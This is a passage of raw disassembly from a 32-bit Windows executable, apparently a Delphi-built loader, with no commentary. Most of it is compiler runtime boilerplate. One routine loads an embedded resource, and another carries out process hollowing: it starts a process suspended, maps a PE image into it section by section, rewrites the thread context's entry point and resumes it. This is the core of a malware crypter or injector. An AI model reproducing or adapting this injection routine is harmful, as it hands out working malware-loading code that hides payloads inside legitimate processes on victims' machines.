loc_4039DE:				; CODE XREF: sub_403998+38j
		mov	eax, ds:dword_406020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403A10


loc_4039EC:				; CODE XREF: sub_403998+76j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, [ebp+var_4]
		jnz	short loc_403A02
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		jmp	short loc_403A10
; ---------------------------------------------------------------------------


loc_403A02:				; CODE XREF: sub_403998+5Cj
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4039EC


loc_403A10:				; CODE XREF: sub_403998+44j
					; sub_403998+52j ...
		retn
; ---------------------------------------------------------------------------


loc_403A11:				; DATA XREF: sub_403998+Co
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_4039C7
; ---------------------------------------------------------------------------


loc_403A18:				; CODE XREF: sub_403998:loc_403A10j
					; DATA XREF: sub_403998+2Ao
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_403998	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A1C	proc near		; CODE XREF: sub_403AE4+ADp
					; sub_403AE4+BEp

var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx
		push	ebp
		push	offset loc_403A82
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp+var_B]
		push	edx
		push	1004h
		push	eax
		call	sub_401050	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+var_B]
		mov	ecx, 7
		call	sub_403668
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_402B88
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_403A6C
		xor	ebx, ebx


loc_403A6C:				; CODE XREF: sub_403A1C+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403A89


loc_403A79:				; CODE XREF: sub_403A1C+6Bj
		lea	eax, [ebp+var_10]
		call	sub_403518
		retn
; ---------------------------------------------------------------------------


loc_403A82:				; DATA XREF: sub_403A1C+Fo
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_403A79
; ---------------------------------------------------------------------------


loc_403A89:				; CODE XREF: sub_403A1C+65j
					; DATA XREF: sub_403A1C+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403A1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; DATA XREF: CODE:004045A0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403ADA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4075A4
		jnz	short loc_403ACC
		mov	eax, offset dword_407038
		call	sub_402AF4
		mov	eax, offset dword_407204
		call	sub_402AF4
		mov	eax, offset dword_4073D0
		call	sub_402AF4
		call	sub_4019F4


loc_403ACC:				; CODE XREF: sub_403A90+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403AE1


loc_403AD9:				; CODE XREF: sub_403A90+4Fj
		retn
; ---------------------------------------------------------------------------


loc_403ADA:				; DATA XREF: sub_403A90+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_403AD9
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: sub_403A90:loc_403AD9j
					; DATA XREF: sub_403A90+44o
		pop	ebp
		retn
sub_403A90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403AE4	proc near		; DATA XREF: CODE:0040459Co
		sub	ds:dword_4075A4, 1
		jnb	locret_403BB6
		mov	ds:byte_40600C,	2
		mov	ds:off_407010, offset sub_401008
		mov	ds:off_407014, offset sub_401010
		mov	ds:byte_407036,	2
		mov	ds:off_407000, offset sub_403924
		call	sub_402C64
		test	al, al
		jz	short loc_403B2B
		call	sub_402C94


loc_403B2B:				; CODE XREF: sub_403AE4+40j
		call	sub_402D58
		mov	ds:word_40703C,	0D7B0h
		mov	ds:word_407208,	0D7B0h
		mov	ds:word_4073D4,	0D7B0h
		call	sub_401048	; GetCommandLineA
		mov	ds:dword_40702C, eax
		call	sub_4010B0
		mov	ds:dword_407028, eax
		call	sub_4010A8	; GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
		jz	short loc_403B9D
		call	sub_4010A8	; GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_403B8C
		mov	ds:dword_4075A8, 3
		jmp	short loc_403BAC
; ---------------------------------------------------------------------------


loc_403B8C:				; CODE XREF: sub_403AE4+9Aj
		call	sub_401068	; GetThreadLocale
		call	sub_403A1C
		mov	ds:dword_4075A8, eax
		jmp	short loc_403BAC
; ---------------------------------------------------------------------------


loc_403B9D:				; CODE XREF: sub_403AE4+8Aj
		call	sub_401068	; GetThreadLocale
		call	sub_403A1C
		mov	ds:dword_4075A8, eax


loc_403BAC:				; CODE XREF: sub_403AE4+A6j
					; sub_403AE4+B7j
		call	sub_4010A0	; GetCurrentThreadId
		mov	ds:dword_407020, eax

locret_403BB6:				; CODE XREF: sub_403AE4+7j
		retn
sub_403AE4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403BB8	proc near		; CODE XREF: sub_403C94+Cp
		jmp	ds:dword_408138
sub_403BB8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403BC0	proc near		; CODE XREF: sub_403BD8+7p
		jmp	ds:dword_408134
sub_403BC0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403BC8	proc near		; CODE XREF: sub_403C48+25p
					; sub_403C48+36p
		jmp	ds:dword_408130
sub_403BC8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403BD0	proc near		; CODE XREF: sub_403BF8+46p
		jmp	ds:dword_40812C
sub_403BD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403BD8	proc near		; CODE XREF: sub_403BF8+22p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, eax
		push	ebx
		push	40h
		call	sub_403BC0	; LocalAlloc
		mov	[esp+8+var_8], eax
		mov	eax, [esp+8+var_8]
		pop	edx
		pop	ebx
		retn
sub_403BD8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403BF0	proc near		; CODE XREF: sub_403BF8+2p
		mov	eax, 8
		retn
sub_403BF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403BF8	proc near		; CODE XREF: sub_403C48:loc_403C62p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		call	sub_403BF0
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_403C43
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_403C18
		mov	eax, 0E2h
		call	sub_40350C
; ---------------------------------------------------------------------------


loc_403C18:				; CODE XREF: sub_403BF8+14j
		mov	eax, ebx
		call	sub_403BD8
		mov	[esp+8+var_8], eax
		cmp	[esp+8+var_8], 0
		jnz	short loc_403C34
		mov	eax, 0E2h
		call	sub_40350C
; ---------------------------------------------------------------------------
		jmp	short loc_403C43
; ---------------------------------------------------------------------------


loc_403C34:				; CODE XREF: sub_403BF8+2Ej
		mov	eax, [esp+8+var_8]
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_403BD0	; TlsSetValue


loc_403C43:				; CODE XREF: sub_403BF8+Bj
					; sub_403BF8+3Aj
		pop	edx
		pop	ebx
		retn
sub_403BF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403C48	proc near		; CODE XREF: sub_402878+20p
					; sub_4028D0+3p ...
		mov	cl, ds:byte_40764C
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_403C7D
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_403C62:				; CODE XREF: sub_403C48+3Dj
		call	sub_403BF8
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_403BC8	; TlsGetValue
		test	eax, eax
		jz	short loc_403C77
		retn
; ---------------------------------------------------------------------------


loc_403C77:				; CODE XREF: sub_403C48+2Cj
		mov	eax, ds:dword_407658
		retn
; ---------------------------------------------------------------------------


loc_403C7D:				; CODE XREF: sub_403C48+Dj
		push	eax
		call	sub_403BC8	; TlsGetValue
		test	eax, eax
		jz	short loc_403C62
		retn
sub_403C48	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C88	proc near		; CODE XREF: sub_403C94+2Ep
		mov	eax, offset dword_40608C
		call	sub_403988
		retn
sub_403C88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403C94	proc near		; CODE XREF: CODE:0040460Bp
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_403BB8	; GetModuleHandleA
		mov	ds:dword_407650, eax
		mov	eax, ds:dword_407650
		mov	ds:dword_406090, eax
		xor	eax, eax
		mov	ds:dword_406094, eax
		xor	eax, eax
		mov	ds:dword_406098, eax
		call	sub_403C88
		mov	edx, offset dword_40608C
		mov	eax, ebx
		call	sub_4032C8
		pop	ebx
		retn
sub_403C94	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CD8	proc near		; DATA XREF: CODE:00404598o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403CFD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403D04


loc_403CFC:				; CODE XREF: sub_403CD8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403CFD:				; DATA XREF: sub_403CD8+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_403CFC
; ---------------------------------------------------------------------------


loc_403D04:				; CODE XREF: sub_403CD8:loc_403CFCj
					; DATA XREF: sub_403CD8+1Fo
		pop	ebp
		retn
sub_403CD8	endp

; ---------------------------------------------------------------------------
		align 4


loc_403D08:				; DATA XREF: CODE:off_404594o
		sub	ds:dword_407654, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D10	proc near		; DATA XREF: CODE:004045A8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403D35
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40765C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403D3C


loc_403D34:				; CODE XREF: sub_403D10+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403D35:				; DATA XREF: sub_403D10+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_403D34
; ---------------------------------------------------------------------------


loc_403D3C:				; CODE XREF: sub_403D10:loc_403D34j
					; DATA XREF: sub_403D10+1Fo
		pop	ebp
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403D40	proc near		; DATA XREF: CODE:004045A4o
		sub	ds:dword_40765C, 1
		retn
sub_403D40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403D48	proc near		; CODE XREF: CODE:00404CDCp
		jmp	ds:dword_408148
sub_403D48	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403D50	proc near		; CODE XREF: sub_403E54+79p
		jmp	ds:dword_408144
sub_403D50	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403D58	proc near		; CODE XREF: CODE:004047D0p
					; CODE:004047F3p ...
		jmp	ds:dword_408140
sub_403D58	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D60	proc near		; DATA XREF: CODE:004045B0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403D85
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403D8C


loc_403D84:				; CODE XREF: sub_403D60+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403D85:				; DATA XREF: sub_403D60+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_403D84
; ---------------------------------------------------------------------------


loc_403D8C:				; CODE XREF: sub_403D60:loc_403D84j
					; DATA XREF: sub_403D60+1Fo
		pop	ebp
		retn
sub_403D60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; DATA XREF: CODE:004045ACo
		sub	ds:dword_407660, 1
		retn
sub_403D90	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D98	proc near		; CODE XREF: CODE:00404D1Dp
					; CODE:00404D4Dp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, eax
		push	0Ah
		push	edx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_407664	; FindResourceA
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_407668	; SizeofResource
		mov	[esi], eax
		push	ebx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_40766C	; LoadResource
		mov	ebx, eax
		push	ebx
		call	ds:dword_407670	; SetHandleCount
		mov	[esp+0Ch+var_C], eax
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_403DE3
		push	ebx
		call	ds:dword_407674	; FreeResource


loc_403DE3:				; CODE XREF: sub_403D98+42j
		mov	eax, [esp+0Ch+var_C]
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_403D98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DEC	proc near		; DATA XREF: CODE:004045B8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403E11
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076B0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403E18


loc_403E10:				; CODE XREF: sub_403DEC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403E11:				; DATA XREF: sub_403DEC+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_403E10
; ---------------------------------------------------------------------------


loc_403E18:				; CODE XREF: sub_403DEC:loc_403E10j
					; DATA XREF: sub_403DEC+1Fo
		pop	ebp
		retn
sub_403DEC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E1C	proc near		; DATA XREF: CODE:004045B4o
		sub	ds:dword_4076B0, 1
		retn
sub_403E1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E24	proc near		; CODE XREF: sub_403E54+253p
		add	edx, eax
		mov	eax, edx
		retn
sub_403E24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E2C	proc near		; CODE XREF: sub_403E54+10Fp
		push	edx
		push	eax
		mov	eax, ds:off_4060D8
		mov	eax, [eax]
		call	eax
		retn
sub_403E2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E38	proc near		; CODE XREF: sub_403E54+18Ep

var_4		= dword	ptr -4

		push	ecx
		movzx	edx, dx
		add	edx, eax
		mov	[esp+4+var_4], edx
		mov	eax, [esp+4+var_4]
		pop	edx
		retn
sub_403E38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E48	proc near		; CODE XREF: sub_403E54+1EAp
		shr	eax, 1Dh
		mov	eax, ds:dword_4060A4[eax*4]
		retn
sub_403E48	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E54	proc near		; CODE XREF: CODE:00404E7Cp

var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_14C		= dword	ptr -14Ch
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_80		= dword	ptr -80h
var_50		= word ptr -50h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEB4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	eax, [ebp+var_4]
		call	sub_4036CC
		xor	eax, eax
		push	ebp
		push	offset loc_404123
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_28], 8
		xor	eax, eax
		mov	[ebp+var_24], eax
		mov	esi, 1
		lea	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_24]
		mov	edx, 10h
		call	sub_402B4C
		lea	eax, [ebp+var_80]
		mov	ecx, [ebp+var_24]
		mov	edx, 44h
		call	sub_402B4C
		mov	[ebp+var_80], 44h
		mov	[ebp+var_50], 1
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		call	sub_403D50	; GetCommandLineA
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_4036DC
		push	eax
		mov	eax, ds:off_4060DC
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	loc_40410D
		mov	[ebp+var_1D], 1
		xor	eax, eax
		push	ebp
		push	offset loc_404106
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_14C], 10002h
		lea	eax, [ebp+var_14C]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		mov	eax, ds:off_4060E0
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	loc_4040CF
		lea	eax, [ebp+var_C]
		push	eax
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_A8]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_28]
		cdq
		add	eax, [esp+1B4h+var_1B4]
		adc	edx, [esp+1B4h+var_1B0]
		add	esp, 8
		push	eax
		mov	eax, [ebp+var_3C]
		push	eax
		mov	eax, ds:off_4060FC
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	loc_4040CF
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_3C]
		call	sub_403E2C
		cmp	eax, [ebp+var_24]
		jl	loc_4040CF
		test	edi, edi
		jz	loc_4040CF
		mov	eax, [edi+3Ch]
		add	eax, edi
		mov	[ebp+var_18], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_18]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_3C]
		push	eax
		mov	eax, ds:off_4060E8
		mov	eax, [eax]
		call	eax
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	loc_4040CF
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+54h]
		push	eax
		push	edi
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_3C]
		push	eax
		mov	eax, ds:off_4060D4
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	loc_4040CF
		mov	eax, [ebp+var_18]
		mov	dx, [eax+14h]
		mov	eax, [ebp+var_18]
		add	eax, 18h
		call	sub_403E38
		mov	[ebp+var_1C], eax
		mov	ebx, [ebp+var_24]
		mov	eax, [ebp+var_18]
		movzx	eax, word ptr [eax+6]
		sub	eax, esi
		sub	eax, ebx
		jb	short loc_40406A
		inc	eax
		mov	[ebp+var_2C], eax


loc_403FFE:				; CODE XREF: sub_403E54+214j
		lea	eax, [ebp+var_10]
		push	eax
		lea	esi, [ebx+ebx*4]
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+esi*8+10h]
		push	eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+esi*8+14h]
		add	eax, edi
		push	eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+esi*8+0Ch]
		add	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_3C]
		push	eax
		mov	eax, ds:off_4060D4
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_404064
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+esi*8+24h]
		call	sub_403E48
		push	eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+esi*8+8]
		push	eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+esi*8+0Ch]
		add	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_3C]
		push	eax
		mov	eax, ds:off_4060F8
		mov	eax, [eax]
		call	eax


loc_404064:				; CODE XREF: sub_403E54+1DDj
		inc	ebx
		dec	[ebp+var_2C]
		jnz	short loc_403FFE


loc_40406A:				; CODE XREF: sub_403E54+1A4j
		lea	eax, [ebp+var_10]
		push	eax
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_A8]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_28]
		cdq
		add	eax, [esp+218h+var_218]
		adc	edx, [esp+218h+var_214]
		add	esp, 8
		push	eax
		mov	eax, [ebp+var_3C]
		push	eax
		mov	eax, ds:off_4060D4
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_4040CF
		mov	eax, [ebp+var_18]
		mov	edx, [eax+28h]
		mov	eax, [ebp+var_8]
		call	sub_403E24
		mov	[ebp+var_9C], eax
		lea	eax, [ebp+var_14C]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		mov	eax, ds:off_40610C
		mov	eax, [eax]
		call	eax
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_1D], al


loc_4040CF:				; CODE XREF: sub_403E54+CBj
					; sub_403E54+103j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40410D


loc_4040DC:				; CODE XREF: sub_403E54+2B7j
		cmp	[ebp+var_1D], 0
		jnz	short loc_4040F5
		mov	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_3C]
		push	eax
		mov	eax, ds:off_406108
		mov	eax, [eax]
		call	eax
		jmp	short loc_404102
; ---------------------------------------------------------------------------


loc_4040F5:				; CODE XREF: sub_403E54+28Cj
		mov	eax, [ebp+var_38]
		push	eax
		mov	eax, ds:off_4060D0
		mov	eax, [eax]
		call	eax


loc_404102:				; CODE XREF: sub_403E54+29Fj
		mov	bl, [ebp+var_1D]
		retn
; ---------------------------------------------------------------------------


loc_404106:				; DATA XREF: sub_403E54+A0o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_4040DC
; ---------------------------------------------------------------------------


loc_40410D:				; CODE XREF: sub_403E54+93j
					; DATA XREF: sub_403E54+283o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40412A


loc_40411A:				; CODE XREF: sub_403E54+2D4j
		lea	eax, [ebp+var_4]
		call	sub_403518
		retn
; ---------------------------------------------------------------------------


loc_404123:				; DATA XREF: sub_403E54+1Co
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_40411A
; ---------------------------------------------------------------------------


loc_40412A:				; CODE XREF: sub_403E54+2CEj
					; DATA XREF: sub_403E54+2C1o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403E54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404134	proc near		; DATA XREF: CODE:004045C0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_404159
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076B4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404160


loc_404158:				; CODE XREF: sub_404134+2Aj
		retn
; ---------------------------------------------------------------------------


loc_404159:				; DATA XREF: sub_404134+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_404158
; ---------------------------------------------------------------------------


loc_404160:				; CODE XREF: sub_404134:loc_404158j
					; DATA XREF: sub_404134+1Fo
		pop	ebp
		retn
sub_404134	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404164	proc near		; DATA XREF: CODE:004045BCo
		sub	ds:dword_4076B4, 1
		retn
sub_404164	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40416C	proc near		; DATA XREF: CODE:004045C8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_404191
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076B8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404198


loc_404190:				; CODE XREF: sub_40416C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_404191:				; DATA XREF: sub_40416C+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_404190
; ---------------------------------------------------------------------------


loc_404198:				; CODE XREF: sub_40416C:loc_404190j
					; DATA XREF: sub_40416C+1Fo
		pop	ebp
		retn
sub_40416C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40419C	proc near		; DATA XREF: CODE:004045C4o
		sub	ds:dword_4076B8, 1
		retn
sub_40419C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041A4	proc near		; DATA XREF: CODE:004045D0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4041C9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076BC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4041D0


loc_4041C8:				; CODE XREF: sub_4041A4+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4041C9:				; DATA XREF: sub_4041A4+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_4041C8
; ---------------------------------------------------------------------------


loc_4041D0:				; CODE XREF: sub_4041A4:loc_4041C8j
					; DATA XREF: sub_4041A4+1Fo
		pop	ebp
		retn
sub_4041A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; DATA XREF: CODE:004045CCo
		sub	ds:dword_4076BC, 1
		retn
sub_4041D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041DC	proc near		; DATA XREF: CODE:004045D8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_404201
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076C0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404208


loc_404200:				; CODE XREF: sub_4041DC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_404201:				; DATA XREF: sub_4041DC+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_404200
; ---------------------------------------------------------------------------


loc_404208:				; CODE XREF: sub_4041DC:loc_404200j
					; DATA XREF: sub_4041DC+1Fo
		pop	ebp
		retn
sub_4041DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40420C	proc near		; DATA XREF: CODE:004045D4o
		sub	ds:dword_4076C0, 1
		retn
sub_40420C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404214	proc near		; DATA XREF: CODE:004045E0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_404239
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076C4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404240


loc_404238:				; CODE XREF: sub_404214+2Aj
		retn
; ---------------------------------------------------------------------------


loc_404239:				; DATA XREF: sub_404214+6o
		jmp	loc_402F8C
